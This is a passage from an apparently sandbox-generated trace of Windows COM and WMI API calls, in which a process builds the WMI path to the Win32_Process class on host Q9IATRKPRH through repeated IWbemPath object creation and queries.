[6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0076.681] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7590, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf70220) returned 0x0 [0076.681] WbemDefPath:IUnknown:Release (This=0x1bfa7590) returned 0x0 [0076.681] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf70220) returned 0x0 [0076.681] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0076.682] WbemDefPath:IUnknown:AddRef (This=0x1bf70220) returned 0x3 [0076.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0076.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0076.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa7610) returned 0x0 [0076.682] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7610, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.682] WbemDefPath:IUnknown:Release (This=0x1bfa7610) returned 0x3 [0076.682] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0076.682] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0076.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0076.682] WbemDefPath:IUnknown:Release (This=0x1bf70220) returned 0x2 [0076.682] WbemDefPath:IUnknown:Release (This=0x1bf70220) returned 0x1 [0076.682] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0076.682] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0076.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70220, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf70220) returned 0x0 [0076.683] WbemDefPath:IUnknown:AddRef (This=0x1bf70220) returned 0x3 [0076.683] WbemDefPath:IUnknown:Release (This=0x1bf70220) returned 0x2 [0076.683] WbemDefPath:IWbemPath:SetText (This=0x1bf70220, uMode=0x4, pszPath="") returned 0x0 [0076.683] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70220, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0076.683] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70160, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0076.683] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf70220, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0076.683] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf70220, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0076.683] WbemDefPath:IWbemPath:SetServer (This=0x1bf70220, Name="Q9IATRKPRH") returned 0x0 [0076.683] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0076.683] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0076.683] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0076.683] IUnknown:Release (This=0x111f638) returned 0x1 [0076.685] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa7630) returned 0x0 [0076.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7630, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0076.685] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7630, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf702e0) returned 0x0 [0076.685] WbemDefPath:IUnknown:Release (This=0x1bfa7630) returned 0x0 [0076.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf702e0) returned 0x0 [0076.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0076.686] WbemDefPath:IUnknown:AddRef (This=0x1bf702e0) returned 0x3 [0076.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0076.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0076.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa7670) returned 0x0 [0076.686] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7670, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.686] WbemDefPath:IUnknown:Release (This=0x1bfa7670) returned 0x3 [0076.686] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0076.686] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0076.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0076.686] WbemDefPath:IUnknown:Release (This=0x1bf702e0) returned 0x2 [0076.687] WbemDefPath:IUnknown:Release (This=0x1bf702e0) returned 0x1 [0076.687] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0076.687] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0076.687] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf702e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf702e0) returned 0x0 [0076.687] WbemDefPath:IUnknown:AddRef (This=0x1bf702e0) returned 0x3 [0076.687] WbemDefPath:IUnknown:Release (This=0x1bf702e0) returned 0x2 [0076.687] WbemDefPath:IWbemPath:SetText (This=0x1bf702e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70220, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf702e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetText (in: This=0x1bf702e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetText (in: This=0x1bf702e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0076.687] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf70220) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf702e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf702e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf702e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0076.687] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf70220, uIndex=0x0, pszName="ROOT") returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf702e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf702e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0076.687] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf70220, uIndex=0x1, pszName="CIMV2") returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf70220, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0076.687] WbemDefPath:IWbemPath:SetClassName (This=0x1bf70220, Name="Win32_Process") returned 0x0 [0076.687] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf70220, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70220, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70220, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70220, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf70220, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70220, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70220, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70220, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70220, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0076.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70220, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0076.688] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0076.688] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0076.688] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0076.688] IUnknown:Release (This=0x111f638) returned 0x1 [0076.690] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bfa78d0) returned 0x0 [0076.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa78d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0076.691] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa78d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf703a0) returned 0x0 [0076.691] WbemDefPath:IUnknown:Release (This=0x1bfa78d0) returned 0x0 [0076.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf703a0) returned 0x0 [0076.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0076.691] WbemDefPath:IUnknown:AddRef (This=0x1bf703a0) returned 0x3 [0076.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0076.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0076.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bfa7910) returned 0x0 [0076.691] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7910, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.691] WbemDefPath:IUnknown:Release (This=0x1bfa7910) returned 0x3 [0076.692] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0076.692] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0076.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0076.692] WbemDefPath:IUnknown:Release (This=0x1bf703a0) returned 0x2 [0076.692] WbemDefPath:IUnknown:Release (This=0x1bf703a0) returned 0x1 [0076.692] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0076.692] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0076.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf703a0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf703a0) returned 0x0 [0076.692] WbemDefPath:IUnknown:AddRef (This=0x1bf703a0) returned 0x3 [0076.692] WbemDefPath:IUnknown:Release (This=0x1bf703a0) returned 0x2 [0076.692] WbemDefPath:IWbemPath:SetText (This=0x1bf703a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0076.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0076.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0076.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.692] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0076.692] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0076.692] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0076.692] IUnknown:Release (This=0x111f638) returned 0x1 [0076.694] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa7950) returned 0x0 [0076.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7950, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0076.695] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7950, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf70460) returned 0x0 [0076.695] WbemDefPath:IUnknown:Release (This=0x1bfa7950) returned 0x0 [0076.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70460, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf70460) returned 0x0 [0076.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70460, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0076.695] WbemDefPath:IUnknown:AddRef (This=0x1bf70460) returned 0x3 [0076.695] WbemDefPath:IUnknown:QueryInterface (in: 